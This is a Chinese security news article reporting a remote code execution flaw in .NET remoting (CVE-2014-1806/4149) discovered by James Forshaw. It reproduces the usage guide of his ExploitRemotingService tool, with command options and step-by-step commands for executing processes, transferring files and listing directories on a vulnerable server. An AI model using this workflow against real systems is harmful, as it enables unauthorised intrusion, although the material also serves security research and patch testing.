频道栏目
首页 > 资讯 > 系统安全 > 正文

漏洞预警:.NET远程代码执行漏洞(含EXP)

14-11-20        来源:[db:作者]  
收藏   我要投稿

 就在上周微软宣布.NET开源的好消息,其内容涉及.NET Framework Libraries、.NET Core Framework Libraries 和 RyuJit VM,允许开发者编写运行于Mac OS X和Linux 的 .NET 程序。应用程序开发者们笑了,这没什么…… 关键是安全研究者们也笑了。 就在这两天,.NET被曝远程代码执行漏洞。

关于漏洞发现者

这是一位来自英国的安全研究者的最新研究成果,他本人之前还发现了Windows8.1预览版漏洞,为此微软官方经支付了他的10万美刀的奖励。

我们可以称之福肖先生(Mr Forshaw),今年34岁,住在伦敦,在某次对Mr Forshaw采访中他说:

“我总共研究过程大约花费了三个半周,因为我开始开始犯了一些错误。之前我想出很多想法,终有一个成功了。从最初的概念到最终我发送给微软的产品仅有两周。 在这个领域我有超过10年的经验。”

.NET远程代码执行漏洞EXP

以下内容提供的安全工具、程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负! 

ExploitRemotingService (c) 2014 James Forshaw
=============================================
 这是一款漏洞利用工具,可以远程执行.NET服务,相关漏洞是CVE-2014-1806或CVE-2014-4149
 它只在Windows下面有用,尽管有些方面也许可以在*nix的Mono上面运行
 使用说明:
===================
 
ExploitRemotingService [options] uri command [command args]
Copyright (c) James Forshaw 2014

URI :

下面是一些提供支持的URI:

tcp://host:port/ObjName   - TCP connection on host and portname
ipc://channel/ObjName     - Named pipe channel

选项:

 -s, --secure               Enable secure mode
  -p, --port=VALUE           Specify the local TCP port to listen on
  -i, --ipc=VALUE            Specify listening pipe name for IPC channel
      --user=VALUE           Specify username for secure mode
      --pass=VALUE           Specify password for secure mode
      --ver=VALUE            Specify version number for remote, 2 or 4
      --usecom               Use DCOM backchannel instead of .NET remoting
      --remname=VALUE        Specify the remote object name to register
  -v, --verbose              Enable verbose debug output
      --useser               Uses old serialization tricks, only works on
                             full type filter services
  -h, -?, --help

命令:

exec [-wait] program [cmdline]: Execute a process on the hosting server
cmd  cmdline                  : Execute a command line process and display stdou
t
put  localfile remotefile     : Upload a file to the hosting server
get  remotefile localfile     : Download a file from the hosting server
ls   remotedir                : List a remote directory
run  file [args]              : Upload and execute an assembly, calls entry point
user                          : Print the current username
ver                           : Print the OS version

该工具支持利用TCP远程服务和当地IPC服务,用来测试利用时你必须知道.NET远程服务和监听(TCP)的端口的名称,或命名管道(IPC)的名称,通常可以在服务器或客户端代码中找到。寻找诸如下面的调用:
 

RemotingConfiguration.RegisterWellKnownServiceType or Activator.CreateInstance

然后你可以试着通过构造一个合适的URL来利用。如果是TCP你可以使用这种URL格式


tcp://hostname:port/ServiceName.
 
 
如果是IPC则使用
 
ipc://NamedPipeName/ServiceName.
 
 
我们来做一个简单的测试:
 
ExploitRemotingService SERVICEURL ver

如果成功的话,它应该打印出托管.NET服务的操作系统版本。单丝如果

你得到一个异常的话,则可能是基于cve – 2014 – 1806的漏洞被修复啦。如果真是那样的话,此时你试一下COM版本使用方法:

ExploitRemotingService -usecom SERVICEURL ver

本地工作最好不过,但是如果你有能力修改COM配置、禁用防火墙就可以远程工作。如果仍然不凑效,那么它可能是一个最新版本的服务器了。嗯哼,你依然可以把所有序列化版本使用方法都试一遍。为此远程服务必须启用完整typefilter模式(这是一些,尤其是IPC服务)

ExploitRemotingService -useser SERVICEURL ls c:\
相关TAG标签
上一篇:当我们谈Web应用安全的时候主要谈哪些
下一篇:IIS4\IIS5 CGI环境块伪造0day
相关文章
图文推荐

关于我们 | 联系我们 | 广告服务 | 投资合作 | 版权申明 | 在线帮助 | 网站地图 | 作品发布 | Vip技术培训 | 举报中心

版权所有: 红黑联盟--致力于做实用的IT技术学习网站